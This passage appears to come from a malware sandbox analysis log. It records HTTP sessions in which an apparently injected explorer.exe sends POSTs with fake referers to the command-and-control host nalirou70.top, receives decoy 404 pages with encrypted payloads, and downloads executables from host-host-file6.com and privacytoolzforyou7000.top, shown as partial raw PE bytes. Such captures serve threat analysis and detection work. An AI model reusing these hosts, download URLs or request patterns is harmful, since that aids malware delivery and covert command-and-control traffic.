Nov 9, 2021 22:21:57.647646904 CET	10901	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://crrgldha.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 235 Host: nalirou70.top
Nov 9, 2021 22:21:58.624716043 CET	10902	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.4	49877	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:58.953413010 CET	10903	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hbrlkj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 132 Host: nalirou70.top
Nov 9, 2021 22:21:59.950552940 CET	10904	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.4	49879	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:22:00.281280994 CET	10905	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lvejmcuwnq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 151 Host: nalirou70.top
Nov 9, 2021 22:22:01.260890961 CET	10906	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:22:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 36 37 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 51 df 43 d0 fe 2e 83 21 eb af 95 53 2d e5 b4 4f 28 e3 b3 b5 6e fb 91 b4 5f ab 74 90 cc 36 43 57 39 09 4e dc bb 41 bb e8 51 85 b1 ca 0d cd 3a d6 cf 74 6a 0d 0a 30 0d 0a 0d 0a Data Ascii: 67I:82OB%,YR("XQC.!S-O(n_t6CW9NAQ:tj0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49779	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:20:48.773745060 CET	1211	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pstanat.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 205 Host: nalirou70.top
Nov 9, 2021 22:20:49.752573013 CET	1212	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:20:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 0d 0a 14 00 00 00 7b fa f7 18 b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.4	49881	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:22:03.488976002 CET	11320	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rvlwdspfo.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 182 Host: nalirou70.top
Nov 9, 2021 22:22:04.466861963 CET	11321	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:22:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.4	49882	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:22:04.794352055 CET	11322	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kcurrvlwmx.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 268 Host: nalirou70.top
Nov 9, 2021 22:22:05.783566952 CET	11323	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:22:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.4	49884	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:22:06.118443966 CET	11324	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ykpbkuficw.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 274 Host: nalirou70.top
Nov 9, 2021 22:22:07.083628893 CET	11325	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:22:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.4	49885	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:22:07.410958052 CET	11326	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bfwrlwg.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 179 Host: nalirou70.top
Nov 9, 2021 22:22:08.415822029 CET	11327	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:22:08 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.4	49886	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:22:08.753948927 CET	11328	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://umqsuuguwn.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 364 Host: nalirou70.top
Nov 9, 2021 22:22:09.729840994 CET	11329	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:22:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19 88 2c b4 59 52 db 03 f8 e5 2c f3 65 02 47 e5 aa e3 1e bb 52 df 41 d1 ff 27 87 21 80 a5 9a 52 2e f8 e3 00 7e 0d 0a 30 0d 0a 0d 0a Data Ascii: 45I:82OU&,YR,eGRA'!R.~0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.4	49887	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:22:10.497035027 CET	11329	OUT	GET /files/7993_1636371023_9825.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: host-host-file6.com
Nov 9, 2021 22:22:11.359823942 CET	11331	IN	HTTP/1.1 200 OK Date: Tue, 09 Nov 2021 21:22:11 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38 Last-Modified: Mon, 08 Nov 2021 11:30:23 GMT ETag: "ad600-5d04551962fd0" Accept-Ranges: bytes Content-Length: 710144 Connection: close Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 e6 07 c1 5e 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 1e 08 00 00 42 03 00 00 00 00 00 cc 1e 00 00 00 10 00 00 00 30 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0b 00 00 04 00 00 ba a1 0b 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 62 08 00 3c 00 00 00 00 00 09 00 b0 5f 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 31 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 4e 08 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 08 00 6c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 1d 08 00 00 10 00 00 00 1e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a0 3a 00 00 00 30 08 00 00 3c 00 00 00 22 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c4 8e 00 00 00 70 08 00 00 18 00 00 00 5e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 5f 02 00 00 00 09 00 00 60 02 00 00 76 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL^B0@`Tb<_1(N@0l.text` `.rdata:0<"@@.datap^@.rsrc_`v@@

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49780	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:20:50.087435007 CET	1213	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xyauqxpv.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 319 Host: nalirou70.top
Nov 9, 2021 22:20:51.068881035 CET	1214	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:20:50 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2 13 cc 7b b8 43 08 c4 55 a1 a7 3d ef 3a 1a 1a b3 ee d2 43 e2 00 8d 01 c9 ba 78 da 7e ac ec c3 02 29 f8 e3 00 7e 0d 0a 30 0d 0a 0d 0a Data Ascii: 45I:82OOj{CU=:Cx~)~0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49781	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:20:51.417298079 CET	1214	OUT	GET /downloads/toolspab2.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: privacytoolzforyou7000.top
Nov 9, 2021 22:20:52.278337955 CET	1216	IN	HTTP/1.1 200 OK Date: Tue, 09 Nov 2021 21:20:51 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38 Last-Modified: Tue, 09 Nov 2021 21:20:02 GMT ETag: "47800-5d061ac268811" Accept-Ranges: bytes Content-Length: 292864 Connection: close Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd 92 82 96 f9 f3 ec c5 f9 f3 ec c5 f9 f3 ec c5 96 85 47 c5 d3 f3 ec c5 96 85 72 c5 e8 f3 ec c5 96 85 46 c5 9e f3 ec c5 f0 8b 7f c5 fe f3 ec c5 f9 